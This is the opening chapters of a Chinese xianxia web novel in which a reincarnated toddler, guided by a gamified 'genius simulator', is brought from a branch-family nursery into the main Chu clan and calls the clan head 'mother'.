《天才模拟器,你怎么知道我不是天才》
1. 天才模拟器
【穿越的第一年,你是一个平平无奇的普通人,但,从天才模拟器觉醒的那一刻起,你的人生注定不凡。】
【因为从此刻开始,你将在模拟器的鞭策下,学着,伪!装!天!才!】
一股人工智能味儿的声音在一岁的望舒脑中响起,吵得望舒握紧肉嘟嘟的小拳头。
“你是谁啊你叫我伪装我就伪装!”
结果动作过大,小拳头一把打中了睡在她旁边的另一个肉娃娃,娃娃立马发出尖锐的嚎声。
众所周知,娃娃的哭声是群体攻击。
很快,所有的娃娃皆从睡梦中醒来,这个像是育幼室的地方响起了此起彼伏的魔鬼哭声。
抚育姆妈们很快赶来,将哭泣的娃娃们挨个儿哄好后,开始单独关照望舒。
将她的被包挪到炕中央最大的空地上,将其他娃娃挪得离她远远的。
【果然,心里说着不要,行动却很诚实。你打败了与你竞争床位的娃娃对手,开始一娃独享三个床位。这意味着,你已经初步掌握天才的伪装要领——哪怕是一岁奶娃,也要展露不凡之姿!】
【天才分+1】
“谁说我不是天……等等,还加天才分啊?”
望舒纯洁的大眼睛一转,露出思索的光芒。下意识朝四周看看,其他娃娃都在她小胳膊够不着的地方,而她又被被包裹得严严实实,没法儿动弹。
好可惜,其实还能再打一下,再薅一个天才分的……
从一岁开始展露不凡之姿么?
望舒想了想,哇地一声哭了出来。
三天后,望舒被单独分在一个小隔间,被三个保育姆妈轮流带着。
因为只要一离人,望舒就开始哭,然后整个育幼室的娃娃就会被带动,全部哭起来。
姆妈们不得以,只好将她分出来。可只要旁边有人,望舒就别提有多乖,大眼睛黑葡萄似的,滴溜溜望着人,稚嫩的小手会将姆妈们的一根手指抱住,示意她们别走。
姆妈们心都化了,难免偏爱她。
后来此事被育幼室的管事知道,还亲自来看望舒,笑呵呵地点评:“真是个小霸王啊。”
【你已经成功掌握幼儿的生存法则:会哭的孩子有奶吃,并晋级为,最会哭的小霸王,天才分+2】
望舒有点摸到模拟器的加分原理了,在育幼室很是过了一段当魔星的日子。
好不容易天才分积累到10,模拟器出现了一些变化。
【伪装的真谛,就是九假一真,可我们现在,却还只是个货真价实的普通人。是时候上点手段了!你将获得用天才积分兑换“不同凡响”的机会。】
【甲:不同凡响的饭量。】
【乙:不同凡响的力气。】
【丙:不同凡响的精力。】
【丁:不同凡响的颜值。】
望舒看见选项的第一反应是疑惑,怎么是甲乙丙丁?正常不该是1234或者ABCD吗。
等等,她所在的屋子,风格似乎并不现代……
模拟器听到她的心声,又开始浮现文字。
【你开始后知后觉,自己穿越的时空并非正常的现代社会。它绝对是个古代背景,极大可能沾点儿玄幻。古代玄幻世界的天才,需要装备什么样的不同凡响呢?】
你这暗示得有点明显了吧。望舒龇了龇稚嫩的乳牙,毫不犹豫选:“我要不同凡响的力气。”
第二天,在姆妈给望舒喂完奶,并按流程给她把嘘嘘时,望舒挥起了小拳头,露出坚定拒绝的神情。
——不!
姆妈的胳膊被望舒的小拳头打到,立马泛起一块红,露出惊讶的眼神。
这孩子的力气,大得惊人啊。
……
没羞没燥的幼崽生活就这样持续了一年,这一年中,望舒陆续用积累到的天才分兑换“不同凡响”
还是之前那几个选项。因为模拟器不给她刷新选项,似乎是强制要求四个不同凡响兑换完,才能进入下一个模拟阶段。
一年的时间,望舒成功兑换了“甲乙丙丁”,她成了一个,胃口超大、力气超大、精力旺盛又无比可爱的,育幼室超级小霸王。
姆妈每隔半个时辰就要给她喂一次奶,因为吃得多,长得快,最先学会走路和说话,育幼室的孩子没有不被她揍过的;
精力充沛得像个小炮弹,三个姆妈都摁不住她,后来管事不得以又添了两个人进来,这两个成为望舒的专属姆妈。
这不是非要给望舒搞特殊。是不给她搞特殊,整个育幼室就安生不了。
四个不同凡响特征兑换完之后,望舒就进入了平稳发育期,模拟器没有新的内容,她也借着一岁多的幼儿视角,分析出了一些有限信息。
这是一个古代家族。
不知道是这家族的养育方式太先进,还是这个世界都这么干,家族一部分幼儿被统一接到育幼室,统一专人养护。
这里的孩子有部分明显有父母,他们隔段时间就要来看看孩子,带点东西,并叮嘱姆妈或管事一些注意事项。
但从没有人来看过望舒。
望舒后知后觉,这辈子好像又是个孤儿。但,在这个育幼室里,她从来没有因为孤儿身份受到任何负面的区别对待。
……她得到的区别对待都是正向的。
负责的管事时不时就会来看她,并反复叮嘱负责她的姆妈要把她看好。
望舒隐约咂摸出点味道——育幼室里孩子未来的表现,似乎跟管事的“业绩”挂钩。
所以,管事乐意看到有她这么一个健壮的小霸王出现,也许这就意味着什么。
望舒
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还确定,这个世界是有玄幻元素的。因为从这些探望孩子的父母口中,她偶尔能听到【道宫】【种子】这样的字眼。
只是受限于幼崽身份和所处环境,她暂且还了解不到更多。
望舒的伪装天才生涯,在过两岁生辰那天有了初步变化。
那天,姆妈给她做了一碗很细很烂糊的长寿面。因为是生辰,除了每日份例,还额外多了两份灵食。
三份灵食,分别是:散发着特殊清甜香味的灵奶;蕴含温和能量的不知名肉糜羹;一小碟去皮切好的灵果。
望舒知道是灵食,因为管事早就说明,这是对她的提前“投资”——这是一位极具眼光、极具魄力、极具手段的天才幼崽期投资人!
那天管事很认真地对她说:“我知道你这孩子什么都听得懂。你看着就不凡。你一定会有出息的。我感觉你已经觉醒了灵种……”
管事用自己的资源,单独给望舒配置对孩子发育极好的灵食。正常一日只有一份,因为过生辰,才多了两份。
也因为这份特殊对待,模拟器还大方给了十点天才分——天才,就是要特殊。
望舒看着这些灵食,从心底里迸发出一种饥饿,仿佛眼前这些东西正是她亟需的。
望舒本就觉醒了“不同凡响的食量”,这么多食物也没让她感到一点压力。起手将那杯奶喝了,再是她最爱的肉糜,其实她更想吃炸肉丸啦。然后是灵果,最后才是主食烂糊面条。
管事就在旁边看着她吃,其实在她吃完第二份时就有点想阻止了,但是望舒那股“我超饿”的架势生生止住了他。
在管事有点怀疑姆妈们是不是趁他不在时克扣了望舒的伙食时,望舒打了个饱嗝,忽然感到下腹位置传来一股热意。
她伸手抵着桌沿,本意是想下凳子去外面透气,结果今天的桌子就跟纸糊的一样,轰动一声就侧翻了。
一米实木大桌子重重砸在地上,桌上的碗碟稀里哗啦碎了一地。
姆妈们吓了一跳,望舒吓了一跳。
管事,也吓了一跳。
只是看他的表情,好像也不单单是惊吓。
更像是那种:
“我买的彩票竟然中大奖了”
“我满仓的股票飘红了”
“难道我的好日子真要来了……”这种感觉。
望舒沉寂有段时间的模拟器忽然响起。
【来了来了,天才小时候一定会出其不意,展露特殊能力的桥段,它终于来了!作为一个有点特殊的普通小孩,在两岁生辰这天,终于触碰到了通向天才的……门把手。】
【实木大桌子被两岁孩童抬手掀翻,这到底是一份怎样的“特殊’?】
【是立刻用天才分为这份“特殊”升华,还是暂且忍耐,趁着这次意外,等待最佳时机……】
2. 接回主家
听见模拟器的声音,望舒的第一反应是,现在也没多少天才分吧,就算是升华,能升到哪儿去?
而且看管事的反应,总觉得有点后续……
【你意识到狂喜的管事可能会为你带来一些未知的变化,于是决定忍耐,静观其变。】
哎,我其实还想看看一共有多少天才分啦,你怎么就选了。
望舒暗自撇嘴,觉得这模拟器不太灵光。
她嘟哝嘴的动作被姆妈看在眼中,以为是要吓哭的前兆。这位魔星哭起来可不是玩的,赶紧将她抱起来,搂在怀里连哄。
望舒意识到姆妈误会了,但也象征性地抽噎了两下——当了幼崽后,这眼泪是说来就来啊,一点没难度的。
疑似中彩票的管事也回过神,两步走到望舒跟前,来回搓手,眼睛亮得像灯笼。
你倒是说话呀。望舒嘴一憋,就预备嚎一嗓子。
管事眼皮一跳,疯狂做手势:“打住,打住!祖宗,刚刚的灵食再一样给你来一份?”
望舒画成圆的嘴马上闭合,大眼睛满意盯着他。
嘿,这娃真成精了。管事抽了抽嘴角,打着商量说:“不过那三份灵食不能今天给你,幼儿身体承受能力有限——明天,明天一定!”
望舒不是很满意,比起灵食,她更在意今日这番变故能给她带来的未知变化。
眼睛安静地眨巴,睫毛忽闪得像柄小扇子。
管事凑过来,知道望舒听得懂,压低声音说:“我今夜就给族里去信,汇报你的情况,族里应该会派人过来查探。如果真像我想的那样,你以后就不用住在这分支幼室,可以接回主家了!”
分支?主家?
望舒盯着管事看了几秒,小脑袋一扭,抱住姆妈的脖子,似乎困了。
管事却不失望。
他知道,小祖宗这是听懂了。
-
管事姓楚名修,是掌印世家瀛洲楚氏祁山分支幼院的一名普通族人。年近三十,九品修为。
如果没有奇遇,他一辈子也只能待在祁山,守着一茬又一茬祁山分支的奶娃娃,等到他们五岁,主家来人进行天赋检测,若有一二可以修行者,便会得到一些修行资源的奖励。
靠着这些资源,在大限之前,拼个命能搏个八品,拼成了还能再苟些年岁,拼不成,这辈子也就这样了。
他唯一的转机,就是在自己负责的幼院下面,发现一个能觉醒灵种的天才。
这样,他才有机会被提拔到主支……
油灯下,楚修心潮澎湃,铺开笺纸,执笔的手却很稳。他详细介绍了望舒种种神异之处,又介绍她的爹娘,祁山分支楚氏三房,在三年前于祁山之役中战死。
最后吸一口气,在卷末郑重提及。
“天生灵力,疑似觉醒灵种。”
三日后,这封加密信笺传到了瀛洲楚氏幼院总管手中。
戴着玉扳指的手捏着信笺,总管已经看了几遍,却心生犹豫。
是为这么一个分支孩子大惊小怪上报上去,还是分拨些资源去祁山,叫管事好生看着那个孩子,等到五岁,按例检测天赋?
总管闭了闭目,如果是在楚氏最风光的时候,这个问题根本不用选择。但现在……
他睁开眼睛,心中有了决断。
-
望舒已经连续加餐加了五日,这五天,管事跟她亲爹一样看着她,盯着她吃灵食时,经常露出一股,“盼着她多吃点,又生怕她多吃了”的割裂神情。
望舒也不是不懂,这是沉没成本太大,怕投资砸锅了。
她也很无力啊。心说我要是真天才,你这波估计就成了。只可惜我是样子货,你确实有担惊受怕的道理。
望舒心疼管事一秒,灵食却一点没少吃。
这天下午,主家终于来人了。来的还是幼院的总管,楚修的顶头上司。
楚修这天的脸色,晴空万里。他跟在总管后面,亦步亦趋地介绍:“这孩子刚两岁不久,启智说话走路全都是最快的,如果只是这样倒也罢了,她似乎天生力气不凡,对灵气极为亲和,才服用灵食不过一月,就灵气外溢,推翻了桌子。”
听到这,总管笑着睨他了一眼,心里明镜似的。分支幼院孩子哪儿来的灵食?必是这楚修看那孩子不凡,私底下给开的小灶。
楚修被瞪,只表面赔笑,心中却不慌。
总管都来了,这一趟必不会空手而归。小霸王……肯定是要被接回主家培养的,有了刚刚垫的那番话,他不但不会被罚,事后还有嘉奖。
楚修引着总管走到望舒专用的小隔间,门没关,望舒坐在门正中的小凳子上,腿离地面还差着一小截。
看见陌生人,望舒脑袋略微一歪,澄明黝黑的眼眸却一点看不出怕样。
总管的心漏跳一拍,紧走两步,半蹲在望舒身前,眼睛灼热地看着她,竟一时不知如何评价。
楚修这会儿气定神闲起来,一点看不出前几日炒股般的焦灼,捻须道:“可是看着跟画儿上的仙童似的?”
总管缓缓呼出一口气,点头。
可不就是!
怪不得楚修敢用急件去信给他,原来是真有底气。
略有些白胖的总管看着望舒,慈眉善目道:“孩子,你叫什么?”
望舒眨巴两下眼睛:“我还没名字。”
她这一世的父母没来得及给她取,就……幼院的人也没资格给她取名。她问过管事,如果不出意外,应该是要等到五岁,家族派人来进行资质检测,没名字的,那会儿家
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族会统一赐名。
看眼前这情况,应该就是出了意外了。
总管了然点头,依然温和道:“孩子,把你的手放到我的掌心上。”
望舒不懂,但照做。
“可感觉到什么?”
望舒仔细感受一番,照实说:“有东西在流动,暖暖的,像吃灵食的感觉。”
总管认认真真看了望舒一眼,像要记住她的样子,过后站了起来,这回看的是楚修。
轻描淡定一句话:“这孩子,我带走了。”
从开始到现在,绝对不超过十分钟,望舒寻思着,这“面试”是不是有点简单了。
旁边的楚修已经喜笑颜开,激动道:“总管,可是确定她……”
总管摇头,嘴角却有笑意:“年纪太小,看不出来。”但看这份对灵气敏锐与亲和,应该错不了。
楚修听话听音,有了把握,苍蝇搓手起来。总管却像已经知道他要说什么,含笑说:“你在祁山任职已有几年,是时候回主家看看了。”
楚修的表情,立马像开了三级美颜。
而这时候,望舒的模拟器,也终于有了动静。
【你的命运发生了一次重大转折,在假装天才的路上壮烈地迈出一大步。】
【真正的天才无不特殊,你的特殊,展露在祁山分支幼院的独家小霸王称号;展露在管事楚修给你单开的小灶;更展露在,你是第一个于两岁幼龄就被接回主家培养的分支天才。】
【是的,这个时候,我们将短暂认领一下天才的称号。而这显然远远不够,即将回到主家的你,前途仍然未定。】
【你不确定能否得到主家的大力培养;不确定如你这样的“普通儿童”,主家到底还有多少;出身分支的你,身份显然也不高贵,于是更不确定是否会得到区别对待。】
【你感到自己距离真正的天才,还有很长一截路要走。】
望舒撇撇嘴,就要开始吐槽,发现模拟器开启了周期结算。
【现在开始结算,更新一则天才扮演法:玄幻世界的天才,从小就开始展露不凡,起步就是仙童!】
【地图祁山分支幼院:得到四个“不同凡响”;三个“特殊对待”;天才积分+100】
【虚假的天才光环也能笼罩到他人:总管业绩加一;管事楚修升职进主家。】
【表现评级:初级天才种子,努力扮演,或有大帝之姿!】
望舒很想评它一句神金,但忍住了。在心里问:“你有没有面板,有没有商城,实在不行,你总得让我看看有多少天才分吧?”
脑中一片安静。
果然,望舒被总管亲自抱起,即将回主家之前,她在心里淡定点评。
这模拟器,果然不太高级。
3. 族长亲见
望舒从总管口里听说,他们是坐传送阵回族,主家所在的位置,在瀛洲核心岛屿,而岐山县距离瀛洲岛,中间隔着三个传送城市。
听起来很远啊。
总管亲自抱着望舒,像是知道她想说什么,呵呵地说:“你所在的祁山分支,是楚家三个分支中最偏的一个。”
原来如此。望舒的小脑袋认真地点了点,看着旁边极有可能升职回“总部”的楚修,亦步亦趋跟着他们,还伸出手想来抱她。
“大人,这孩子比较沉,还是我来抱吧。”
总管让开,说不用。顺手掂了掂,呵笑道:“是挺沉。”
望舒挺直背,小脸严肃。你们礼貌吗?
借着这个话茬,楚修就又把话题聊到了望舒身上。他乐此不疲地谈她,就像有资历的员工,总是津津乐道自己参与的重大项目。
恰好总管正是对望舒兴趣最浓厚的时候,上下级一拍即合。
“这孩子很好带,一岁多时确实有点闹腾,总是爱哭,要专门拨出两个姆妈才能看住,现在就好多了,哭也就意思一下,一般都是故意做给别人看的,你满足她就好了。”
“也不用特意迁就她讲话,这孩子什么都听得懂。”
总管感兴趣起来:“哦,什么都听得懂?”
歪过头来看望舒,故作思考一会儿,问她:“你有什么想说的,或者想的问吗?”
望舒还真有。
搂着总管的脖子,稚声稚气问:“我在之前住的地方,一直很特殊。我们现在去的地方,我要怎么做,才能继续特殊?”
望舒牢记她的“天才扮演法”。
天才总是特殊的,会有很多“不同凡响”
也因为这些不同凡响,她在祁山幼院享受了很多特殊待遇,模拟器也因此给她加了很多分。
望舒喜欢特殊,也喜欢特殊待遇。如果可以,她想一直“特殊”下去。
总管惊讶地看着望舒,他这回是真觉得这孩子有点神异了。
旁边的楚修得意坏了,望舒的表现简直是在给他脸上贴金,更是他慧眼识珠的有力证明!
总管认真起来,胳膊松了松,拉远一些距离看着望舒,正色道:“你出身于瀛洲掌印世家楚氏分支,现接回主家培养。你想继续在主家特殊,就要觉醒灵种。”
“高等级灵种。”
“带有强力天赋神通的高等级灵种。”
三句话,三种递进关系。望舒认真记住每一个字,煞有介事地点头。
“我知道了。”
望舒不知道她现在顶着一张娃娃脸做出这幅认真的表情有多好笑,因为伙食丰盛,又吃得多,她的腮肉比一般孩子都更鼓些。
总管憋不住,噗嗤一声笑了出来。
……
穿过三个传送阵,穿过繁华熙攘的瀛洲主城,终于来到楚氏本宗所在的瀛洲岛族地。
外围种满桃花,宏伟壮阔的建筑群在云雾与桃色中若隐若现。
望舒进入这世外仙洲一样的世界,被总管安置在一处雅致小院中。
对上望舒黝黑的眼瞳,总管笑着说:“你都来了主家,待遇怎么说也不能比分支差。你在祁山有单间,来了瀛洲自然也要有,听楚修说,你要两个姆妈才能摁住?你渐大,灵气见长,我给你派三个。对了,还有灵食,楚修给你开的小灶是一日一份,我给你提到一日三餐,各有一份。”
望舒眨眨眼睛:“这是你给我的‘投资’吗?”
“楚修就是这么跟你说的?”总管挑眉,气定神闲道:“这当然不是投资。因为,我走的是公账。”
望舒就这么住了下来,有吃有喝有人照顾,待遇全面提升一个档次,她才不发愁呢。
当夜,她吃了灵食,早早被姆妈哄着睡了。
姆妈轻手轻脚出去,看见院外站着两个人影,淡然行礼:“见过五长老、总管。”
总管楚宴摆摆手,姆妈下去。他旁边的锦袍女子手捧一枚砚台模样的黑色方盘,五官妍丽,个子看着跟楚宴差不多高,但楚宴白胖,人显矮,女子比例好,看起来就清瘦高挑。
楚宴低声道:“这孩子早慧、天生大力,对灵气尤为敏锐。才刚刚两岁,一日却能食三份灵食,且无任何不适。”
“我便做主,让她住进了这间自带聚灵阵的小院。”
五长老楚茗烟可有可无地点头,垂眸看着手中的阵盘,伸手一抹,盘中出现大大小小的荧绿光点,像盘中有个萤火世界。此时,这些“萤火”都在缓缓朝中心最亮的光点聚合。
“荧光代表灵气,光点代表那孩子。她果然在自发吸收灵气。”楚茗烟淡淡道,“照这种灵气波动的情况,她体内蕴含灵种是八九不离十的事,等级看着还不低,应该跟清河差不多……不,可能比清河还要高。”
楚清河,楚氏大长老的孙女,是到目前为止,楚家这一代小辈天赋最高之人。
楚宴听着,一时有些恍惚。难道他随手从分支捡回来的孩子,天赋就比大长老的孙女还高?他什么时候转运了吗?还是说,楚修那小子真的有点东西?
怕嘴角咧开的弧度太大,楚宴咳了一声,才收拾好情绪,故意提起:“我许诺这孩子住有聚灵阵的独门院子,配三个姆妈,一日三顿灵食,这些账……”
楚茗烟似笑非笑睨他一眼:“你不是惯走公账?还用问我?”
转身迈步,丢下一句话。
“放心吧,这孩子怎么着都轮不到你养。明日季报,有了她,你当有底气面对族长了。”
看着楚茗烟走远,楚宴摸了摸微鼓的肚子,心说,可不是。
他大老远的跑三个城池把那孩子接回来,有许多个理由,但只有一个,与他本人切实相关。
幼院季度汇报,他手底下的孩子们,没一个有特殊的地方,不说觉醒灵种,连普通修行,都天赋平平。
这要他怎么跟族长交差?说楚家新一代的孩子就是不行?那他这差事也不用干了。
如今手捏……对了,那孩子还没名字,楚修是怎么喊的来着,小祖宗?
很贴切嘛。
如今手捏小祖宗,他对着族长,腰杆终于是能挺直了。
-
“三个月,你管的幼院,就交出这么一份答卷?”微沉的女声从上首传来,明明并不带呵斥,只是寻常疑问,却仍有一股威势。
青面獠牙瑞兽薰笼里缭绕着青烟,楚宴隔着丝丝缕缕的烟气,窥视族长的脸色,即便打了无数腹稿,仍然手心冒汗。
“是属下管理疏忽,辜负族长信任,愿受责罚。”什么都不辩解,先把错认下来。
楚岱熙微微抬睫,扫了下方的人一眼。认错认得这么干脆,想来是有后续。
换了个姿势,闭目等待。
“不过,属下近日接到一封来自祁山分院的加急信笺,信上禀明一名楚氏分支幼童拥有较高天资,属下不敢耽搁,亲自去祁山查探,确认不凡,现已带回族中。”
嗯?
楚岱熙这次又看了楚宴一眼,确认这白胖老儿十分端得住,不怕受她责罚的样子。这么有底气?
敢不汇报族里,直接将人接回来,现在还这么信心十足……指尖在书案上轻击,过一会儿,楚岱熙抬眸:“你找谁掌的眼?”
不是疑问,是笃定。
楚宴额角倏地流下一滴汗来,头垂得更低,却不敢隐瞒。
“五长老。”
原来是茗烟。茗烟看了人却不来与她知会,像是在等一出好戏。
这么有乐子吗?楚岱熙嗅到了钓鱼的味道,却完全拒绝不了直饵。
她不会产生“你勾我去我不偏不去”的逆反心理,只会想,这么有信心,那一定是个大惊喜吧。
我可太期待了。
楚岱熙站起,绕过书案,阔行几步,路过楚宴时,带起一阵风。
她停下,扫了楚宴一眼,笑说:“你的疏忽,之后再罚。”
“现在,带我去见人。”
-
这是望舒回到主家的第二天,她一点不急,甚至做好了会坐几天,乃至几个月冷板凳的准备。
甚至她认为,这也不叫冷板凳。好吃好喝还有人贴身照顾叫什么冷板凳?
这叫考察冷静期。
她已经准备将她的天才模拟计划,从“托班锋芒毕露”,调整为,“大城市苟住发育”。
先苟个一年,看看主家嫡支儿童们的发育水平,再找机会,谋求“特殊”
望舒脑中计划得挺好,手和嘴都不闲着,正在吨吨喝她的灵奶。主家的伙食确实是好,好像灵食都比之前高一个档次。
望舒放下装奶的竹杯,心想,随便一个从外面接回来的孩子都能给这么好的待遇,也不知道是她够分量,还是楚家太有钱。
她觉得她不太有分量。那应该还是有钱。
门口的光影一闪,望舒察觉到动静,朝门外看去。
她的独立小院,忽然来了一位客人。
不,是两位,她见过的总管,跟在这名女子后面,错后两个身位,呈侍立的姿态。
显而易见,这名女子“级别”比总管高。而且看着高了不止一点。
姆妈们看见来人,面上有掩饰不住的惊讶,慌乱行礼。女子抬手抑住她们的称呼,示意她们出去。
望舒抬眼,看见一名着深红锦衣的女子朝她走来。女子不披发,整齐束起,用金冠簪住,腰佩玉带,衣领和袖口都有精致却不夸张的暗纹,袍角一只展翅的凤。
她看着年轻,眼角和嘴角似乎天然含笑,看人的时候却流转暗光,却叫人不敢轻视。
她阔步而来,走到望舒跟前,逆着光,微微弯起腰。
这是一个很近的距离,近到望舒能在这双凑近的眼眸中看到自己的影子。
这个人,她……
女子缓缓勾起嘴角,正要说话,望舒却抢在她前头开口。
望舒是稚童,用的当然也是稚童的嗓音。
望舒张口喊:“娘——!”
这一声,清脆响亮,掷地有声。
楚岱熙含笑的嘴角僵住,腰肢微不可查
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一晃。后头的楚宴张大嘴,露出惊掉下巴的神情。
望舒却很认真,银丸一样黑白分明的眼瞳,映出楚岱熙的影子。
诡异的安静声中,楚岱熙率先回过神,她颇有兴致地挑起一边眉,保持着弯腰的姿势,问:“你叫我什么?”
“娘。”望舒思路清晰,声音也清晰,“你长得就像我娘。”
现在的小孩儿都这么会喊人吗?
楚岱熙心情不错地直起腰,望舒的眼睛小猫似的跟随她,下巴抬起,于是就变成仰视。
“你叫什么?”
“我还没名字。”
望舒不打算说出望舒两个字。她想,如果这一世有个全新的名字,她也会接受。
她接受眼前这个全新的一切。
楚岱熙点点头,声音莫名变得轻柔。
“等你觉醒灵种,我会在家族族会上给你起名,正式告知你的存在。”
-
楚岱熙再次回到她所居住的阁楼时,茗烟已经在等她了。
两人有默契,径直坐到阁楼前的竹下石桌。楚茗烟拿起她带来的那壶酒,淡然给楚岱熙斟上。
“看过了,可还让你满意?”
楚茗烟心里是有答案的,族长“渴才久矣”,能从分支中拨拉出一个天赋不输给清河的孩子,这是多大的好事呢,她一定会高兴的。
结果族长的表情却不太像惊喜,而是恍惚中带着一丝茫然,茫然又有那么一点兴奋。
她不接酒,身体前倾,语气幽幽地说:“茗烟,那孩子开口就喊我娘。”
楚茗烟捏着酒杯的手轻微一晃,神色古怪:“竟是……这么个性格?”
楚岱熙眼眸亮着,还沉浸在头次当娘的感受中。
“嘿你不知道,那孩子可淡定。那派头,还真有我当年的样子。”
楚茗烟放下酒杯,手放在膝上,道:“那日楚宴找我给那孩子测灵,我并未进去,只是在门外,用灵盘看了一眼。她才两岁多,无任何功法引导,身体就能自发吸收灵气,我瞧着比清河小时候的动静还大些。”
“不用你说。”楚岱熙自顾自乐了一会儿,这才捻起一杯酒,悠悠喝了,“我一眼就看出来了。”
“……族长慧眼。”
楚岱熙摸着下巴,认真思考:“其实我感觉,真当她娘也不是不行。”
楚茗烟皱眉:“族长见猎心喜?只是对灵气亲和也不能完全等同于天赋,她灵种还没觉醒,也不知等级……”
“哎你不懂。”楚岱熙打断她,“我们找女儿的不看这个!”
那看什么?同样没有孩子的楚茗烟略微一懵,露出茫然的眼神。
“看缘法!”楚岱熙高深莫测。
……好吧。楚茗烟开始认真思考起这件事的可行性:“但是,你不是说,生孩子太麻烦,会拖累你振兴家族的进程?”
所以哪怕有好几个情人,也一个孩子不生。
“可她是自己送上门来的呀。”楚岱熙无辜眨眼睛。
这……有道理呀。
楚茗烟被说服了。她是个讲究效率的人,很快就跳过了要不要的阶段,直接思考到落地层面。
她道:“既然这样,后面就挑个吉日跟族老们宣布这件事,对了,你还得给她起个名字,如果后面她的天赋确实跟清河差不多,还得上报道院。当然,无论怎么样,这些事情最好都安排在她觉醒之后,这样才好堵住悠悠之口。”
“不急,不急。”楚岱熙慢悠悠摆手。
“为何,刚刚说跟那孩子有缘法的不是你吗?”
“可我还得问问她的意见啊。”
?
“不是她先主动喊你的吗?”楚茗烟迷惑了。这件事能不能成的关键,不就在于族长点不点这个头吗?
楚岱熙眼眸渐深,嘴角微微上翘。
她说:“不一定哦。”
楚茗烟不信邪,第二天亲自跟着族长去见了那个孩子。
这日天气晴好,望舒也不在屋子里,姆妈陪着她,在逛花园。楚茗烟找到望舒的时候,她正站在一株荆桃树下。
粉色的花瓣星零下落,有一些飘到望舒的小脑袋上,她似乎并未察觉,稚嫩的脸蛋写满沉思。
楚岱熙轻轻走过去,捻去她头上的花瓣。
望舒看头,又看见那天的“客人”,不同的是,她已经知道这个人的身份了——姆妈告诉她的,毕竟她长了嘴,有问题也会开口问。
望舒垂了一下眼眸,喊人:“见过族长。”
跟上来的楚茗烟顿住,满脸惊奇。这孩子真改口了,好神奇啊。
楚茗烟像是不意外,甚至笑了笑,半蹲下,与望舒平视。“昨天不是还喊我娘吗?”
望舒不后退,也不回避目光,她平静地说:“昨天不知道你是族长。”
楚茗烟点点头,眼眸含笑:“是族长就不喊啦?那你说说,你想要什么样的娘?”
风吹起,花瓣落下之前,望舒说:
“我想要……想要我当她女儿的人,做我的娘。”
4. 手段惊人
楚岱熙离开了,而望舒在看她的模拟器。
姆妈在一颗粗壮的荆桃树下给她搭了一个秋千架,望舒坐在秋千架上,脑中仍然是模拟器硬装人味儿的声音。
【你开阔的思路让模拟器都惊叹!敢想敢干,这怎么不是一种天才?】
【随着一声小小的“娘”,路成功被你走宽,你开拓了一条新的软饭道路,并且合情合理。】
【楚氏族长与你年龄相合,精准匹配母女关系,更巧妙的是,你们还真有两分相似之处,这两分,一分体现在气质,一分体现在眼睛。】
【你似乎需要一份质变,一个更具说服力的理由,来将族长之女的身份彻底砸实。】
这几行字,是那天她刚喊完“妈”之后,模拟器快速刷出来的。她当时没回应,直到那个人……楚氏族长走了。
族长给了她一个承诺,等有一天她觉醒灵种,会被族长亲自取名,并当众宣布存在,计入主家族谱。
可族长也隐晦回避了望舒的称呼。
望舒并没有失望。
她认为天才有时候需要主动出击,不能一味被动,等待簇拥。
所以她果断出手。
她抓住了那一瞬间的冲动、情感表达、利益争取。甚至,望舒敢承认,她在有意表现“特殊”
只是主动就有失败的风险,也许族长的回避就昭示着她的失败。
望舒完全能承受这个后果,毕竟只是喊一声,她也没吃亏。
望舒很快改口,喊回族长,不再纠缠。
只是族长第二日又来看望她,让模拟器对“族长女儿”这个身份念念不忘,它似乎总觉得这事还有后续,将那天的话一遍遍刷新,反复催问望舒要不要质变。
秋千架下,望舒轻轻扇动眼睫,说:“我暂时还不需要质变。”
质变会让很多事变得容易,质变会给她带来“特殊”。
那是她需要的。
但,我质变的理由,不能是为了变成一个更有价值的女儿。
望舒在心里说。
望舒忘记了楚氏族长,开始正式进入她的平稳发育期。
她跟楚宴说她要上学。祁山分支幼院就有一到五岁的“小班”,还有请先生识字授课的“大班”,她这样聪明的小孩,知道上学是怎么回事,是完全合情合理的。
楚宴表示非常理解,准备让她在主家幼院上学。
结果望舒说不。
楚宴肯定会把她插进小班。她已经不想跟一帮小屁孩玩揪辫子糊泥巴的游戏了。
“你说,你想上学,但不想在幼院上学?”楚宴开始感觉牙疼了。
望舒全身都写满了淡定,还给他出主意:“你可以找人给我上课。”
她认真推荐人选:“叫祁山幼院管事,我的第一个投资人给我上课。他不是也跟来主家了吗?”
来了!楚宴大呼不好,早就听说聪明的小孩搞事能力也是一流的,一看小祖宗,果然也开始了。
小小年纪就把他指使得团团转。
楚宴不信邪地问:“那他要是不愿意呢?”
“你先问他,等他真不愿意了,我再去幼院上学。”望舒抬了抬眼皮。
嘿。
楚宴在心里啧啧了两声,问了一个不相干的话题:“你说楚修是你第一个投资人,那我呢,我算第二个不?”
“不算。”
“为啥!”
怎么回事,难道他还比不过楚修那个乡下小子吗!
望舒端起她的灵奶,翻了个白眼:“因为你走公账呀。”
……
楚宴确实跟楚修说了这回事,结果出乎他的意料,这老小子二话不说,一点犹豫都没,直接就说干。
不是……楚宴都迷惑了:“你千方百计回主家,不就是想让我提拔你吗?”
现在去给一个几岁小孩上课,放弃提拔机会,怎么看都不是上坡路。
楚修老老实实掖着手,很有他自己的看法:“我从祁山分支来,就算您提拔我,也不过在您手下当个副手,慢慢熬年头。而且幼院是干什么,不就是看孩子?我看那些孩子,啊,还不如去看小祖宗。”
“你就这么看好她?”其实楚宴心里有数,他自己也看好,包括族长、五长老,都在等这个孩子展露光芒。
他不懂的是,为什么你们一个个都这么笃定啊。
楚修压低声音:“前段时间我爹给我来信,说家里祖坟冒青烟了。我掐指一算,就是小祖宗显灵我给您去信那段时间。我感觉我家的运道就应在小祖宗身上。”
他指的显灵,就是望舒抬手把实木大桌给掀了那事。
楚宴真被唬住,琢磨两下,忽然反应过来不对……等等,你家祖坟冒烟,你姓楚,我也姓楚,往上找我俩说不定一个祖宗。我怎么不知道家里祖坟冒烟了?
楚宴气得抬手佯打,楚修嘿笑着抱头溜了。这事,也就这么说定了。
楚宴想了想,还是将此事汇报给了五长老。这倒不是说,他一个堂堂幼院总管,连这种事都做不了主,重点还是因为望舒特殊。
五长老和族长早有交代,叫他“盯着那孩子”“有什么要求都尽量满足”
所以,哪怕楚修不愿做这个教书先生,他都要找一个更好的出来。
果然,楚茗烟听闻此事,不但不觉得望舒提了过分要求,反而说:“应该的。”
“那个楚修,行不行?”
族长近日离家,嘱托她好生看着她的“未来闺女儿”,楚茗烟觉得,叫一个分支幼院管事来教未来族长之女,实在有些委屈。
